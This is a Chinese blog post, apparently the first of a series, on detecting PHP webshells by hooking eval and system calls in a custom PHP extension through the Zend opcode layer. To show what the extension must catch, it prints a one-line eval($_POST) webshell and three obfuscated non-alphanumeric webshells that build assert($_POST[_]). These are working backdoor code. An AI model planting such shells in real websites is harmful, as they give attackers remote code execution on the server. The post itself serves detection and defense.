因为要写的东西有点多,并且牵涉到的知识对我也比较有挑战,所以我会分成几个小节来写,第一个小节我主要是谈一下大体的思路和一些必备的知识,不会涉及到过多的语言细节。

前言

之前线下赛的时候被官方隐藏的后门给坑过许多次,基本都是非常自信的拿rips扫了一下就放下心来,结果阴沟里翻船。

所以在翻了许多次船之后,想到了通过编写PHP扩展来实现Webshell的识别。当然,这篇在线下赛的意义可能不大(权限应该是不够的),因为对于这部分的东西,我也是一边学一边记录,所以可能会有一些出错的地方,还请理解。

 

Webshell攻击方式

在具体谈到如何实现识别Webshell之前,先来看看常用的Webshell是如何完成攻击的。

最耿直的shell便是这种格式:

<?php @eval($_POST['cmd']);?> 

通过POST方法传入的cmd参数,会经过eval函数执行,如果此时传入的cmd参数值为system(‘ls’); ,则会执行ls的命令,进而浏览目录信息。

稍微复杂一点也无非是再经过编码、加密、回调或者使用匿名函数等其他方法来伪装自身,像p师傅之前有一篇博客里面写的使用数字和字母来编写Webshell这种,本质上仍然是对自己进行伪装。比如p师傅的三种shell:

<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__;
$_($___[_]); // assert($_POST[_]); 
<?php $__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]); 
<?php $_=[];
$_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S $___.=$__; // S $__=$_;
$__++;$__++;$__++;$__++; // E  $___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]); 

而有关这方面的更具体的东西,因为并不是我们这篇文章要讨论的主要方面,因此不再多提,有兴趣可以看看p师傅的博客:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

Webshell为了执行命令,最终都会去调用system,eval这一类的函数。因此在正常情况下,我们编写的waf便是通过检测关键字来识别Webshell,而waf越强,识别能力也就越强,这是目前最流行的做法。

但是在使用PHP扩展时,我们可以换个思路来进行识别。

 

基础知识

php的执行流程

PHP执行一段代码时,会分做几个阶段来依次完成,这里我使用Laruence总结的:

1.Scanning(Lexing) ,将PHP代码转换为语言片段(Tokens)

2.Parsing, 将Tokens转换成简单而有意义的表达式

3.Compilation, 将表达式编译成Opocdes

4.Execution, 顺次执行Opcodes,每次一条,从而实现PHP脚本的功能。

可以看到,PHP在执行代码时,Lex会先完成词法分析,将代码分成一个个的“块”,如果想看词法分析的结果,可以通过get_token_all()来获得词法分析的结果。

随后便是第二步,在这一步中,将上面得到的一个个“块”转换为表达式。

这里要插一个知识点,opcode是计算机指令的一部分,在PHP中,opcode就是Zend虚拟机中的指令。
在PHP中,opcode表示如下:

struct _zend_op { opcode_handler_t handler; // 执行该opcode时调用的处理函数 znode result;
    znode op1;
    znode op2;
    ulong extended_value;
    uint lineno;
    zend_uchar opcode; // opcode代码 }; 

第三步编译则是将一个个的“块”编译成opcode保存在op_array中。

最后一步便是依次执行这些opcode。

这就是为什么PHP看起来并不需要像C语言一样先编译再运行的原因,PHP是经过了解释器执行源码这个过程的。

但是实时编译对于性能的影响比较大,因此在开启了APC扩展后,PHP会通过重用缓存opcode以提升运行效率。类似的还有python的pyc/pyo,Jvav的JVM,以避免重复编译带来的性能损失。

PHP危险函数调用

在进行函数调用时,需要函数的一些基本信息,比如函数名称,函数参数,函数定义等等。

在这里,为了方便分析用户定义函数和PHP内置函数之间的区别,取个巧,将函数分为两类,一类是内部函数,一类是用户函数。

两者之间的区别通过名称便可以很方便的发现。内部函数是用C语言实现的,但是并不是原生态的C语言,而是经过封装的,比如PHP扩展中不会使用printf()函数,而是使用经过封装处理php_printf()函数。而用户函数则是用户自定义的函数。

接着上面所说到的,内部函数在进行调用时,扩展是可以知道代码执行细节的,因此如何hook也就变得很明了了。接下来需要思考的,就是更细节的东西了。

我们在进行hook的时候,该如何判断是不是危险函数呢?比如如何判断system函数,eval函数等等。如果要细致讨论的话,我们需要再去深入了解一下opcode的相关知识。

我们先给出几段php代码:

<?php $a='123'; echo $a; ?> 

使用php的vld扩展可以查看其opcode,如下:

再看看使用eval时的opcode情况:

<?php eval("$a='123';   echo $a;  "); ?> 

opcode如下:

再给个system函数的例子:

<?php eval("system('ls');"); ?> 

opcode如下:

可以看到,eval函数是经过了一层固定的调用的,而system函数则是通过DO_FCALL调用。而echo则是直接调用的ECHO。

此时我们再看看用户函数的opcode是如何组成的:

<?php <?php function test(){ echo 123; echo 456; echo 789;
}
test(); ?> 

opcode如下:

可以看出用户函数是将语句逐条翻译成opcode,然后依次执行的。

从用户函数与内部函数这两者之间的比较,可以发现,即使是Webshell将eval类的函数隐藏在混淆或者加密过的函数中,最终仍然会调用EXT_FCALL_BEGIN *******,EVAL格式的语句。

同理,在Webshell进行最后一步调用system此类内部函数时,也是会调用某些具有固定格式的语句,比如DO_FCALL ‘system’此类格式的语句,因此这两种函数都是可以通过PHP扩展来进行识别的,而不需要去通过正则或者关键词匹配识别的方法。

我们现在大概理清楚了使用PHP编写的Webshell执行的大概流程,剩下的要做就是在eval此类危险函数即将调用时,将之hook掉。

最后给出eval函数的实现,大家可以想一下如何去hook住eval,实现代码EVAL在Zend/zend_vm_def.h:

case ZEND_EVAL: { char *eval_desc = zend_make_compiled_string_description("eval()'d code" TSRMLS_CC);

                    new_op_array = zend_compile_string(inc_filename, eval_desc TSRMLS_CC);
                    efree(eval_desc);
                } break; 

下一篇我主要想分析一下如何拦截常用的Webshell函数,比如system,shell_exec等。大家有什么意见也希望可以说一下。